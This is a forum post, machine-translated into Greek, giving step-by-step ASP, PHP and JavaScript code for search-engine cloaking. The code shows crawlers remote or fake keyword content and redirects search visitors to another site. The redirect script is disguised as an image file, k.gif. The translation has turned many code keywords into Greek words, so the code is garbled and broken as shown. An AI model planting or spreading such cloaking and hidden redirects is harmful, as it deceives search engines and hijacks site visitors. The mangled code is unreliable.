Πρώτον, είναι απλό, προσθέστε τον ακόλουθο κώδικα στην πρώτη σελίδα:
Έκδοση ASP
<!--#include file="conn.asp"-->
<script src="εικόνες\k.gif"></script>
Έκδοση PHP
<!--#include file="conn.php"-->
<script src="εικόνες\k.gif"></script>
Στη συνέχεια, προσθέστε τον ακόλουθο κώδικα στο αρχείο conn σύμφωνα με το πρόγραμμα του ιστότοπου, εάν δεν έχετε conn.asp ή conn.php, δημιουργήστε τον μόνοι σας:
conn.asp έκδοση
----------- την ακόλουθη αναπαραγωγή--------------------------------
<%
συνάρτηση isspider()
αμυδρός πράκτορας, searray, i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","Baiduspider","sogou","yahoo","soso","360spider")
isspider= ψευδής
για i=0 έως ubound (searray)
αν (instr(agent,searray(i)))>0) τότε isspider=true
Επόμενο
Λειτουργία τερματισμού
συνάρτηση fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= ψευδής
αν urlrefer="" τότε fromse= false
searray=array("google","Baidu","sogou","yahoo","soso","360")
για i=0 έως ubound (searray)
if (instr(urlrefer,searray(i))>0) τότε fromse=true
Επόμενο
Λειτουργία τερματισμού
συνάρτηση gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
αν Http.readystate<>4 τότε
Λειτουργία εξόδου
τέλος αν
gethttp=bytes2BSTR(Http.responseBody)
ορίστε http=τίποτα
Εάν το err.number<>0 τότε το err. Εκκαθάριση
Λειτουργία τερματισμού
byte συνάρτησης2BSTR(vIn)
dim strΕπιστροφή
dim i,ThisCharCode,NextCharCode
strReturn = ""
Για i = 1 σε LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Αν ThisCharCode < &H80 τότε
strReturn = strReturn & Chr(ThisCharCode)
Αλλιώς
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Τέλος εάν
Επόμενο
bytes2BSTR = strReturn
Λειτουργία τερματισμού
if(isspider()) τότε
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
απάντηση.σαφής
remotehtml=gethttp(bodyurl)
response.write(απομακρυσμένο html)
response.write("<!--"&now()&"-->")
απόκριση.ξέπλυμα
απάντηση.τέλος
τέλος αν
%>
conn.php
---------------- την ακόλουθη αναπαραγωγή----------------
<?php
συνάρτηση is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = πίνακας('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
επιστροφή αληθής?
}
}
επιστροφή ψευδής? }
συνάρτηση is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explode("@",$come_from);
foreach($referer όπως $url){
if (stristr($_SERVER['HTTP_REFERER'],$url)){
επιστροφή αληθής?
}
}
επιστροφή ψευδής? }
αν (is_search_bot())
{
$html = "<title>Επαγγελματικό Κολλέγιο Μηχανικής Λογισμικού της Γουχάν</title> <meta name=\"Συγγραφέας\" content=\"Συμπληρώστε το ίδιο με λέξεις-κλειδιά\"> <meta name=\"Λέξεις-κλειδιά\" content=\"Λέξεις-κλειδιά\"> <meta name=
\"Περιγραφή\" content=\"Περιγραφή\"> </head> <body>Περιεχόμενο</body></html>";
ηχώ $html;
}
αν (!is_search_bot() && is_urlbaidu())
{
Header('Τοποθεσία:http://www.itsvse.com');
}
?>
Τέλος, στον κατάλογο εικόνων, ανεβάστε ένα αρχείο k.gif k.gif τον κώδικα:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
τοποθεσία.href="http://www.itsvse.com"; URL ανακατεύθυνσης
|
Δημοσιεύτηκε στις 1/12/2014 6:48:55 μ.μ.
|
|
|
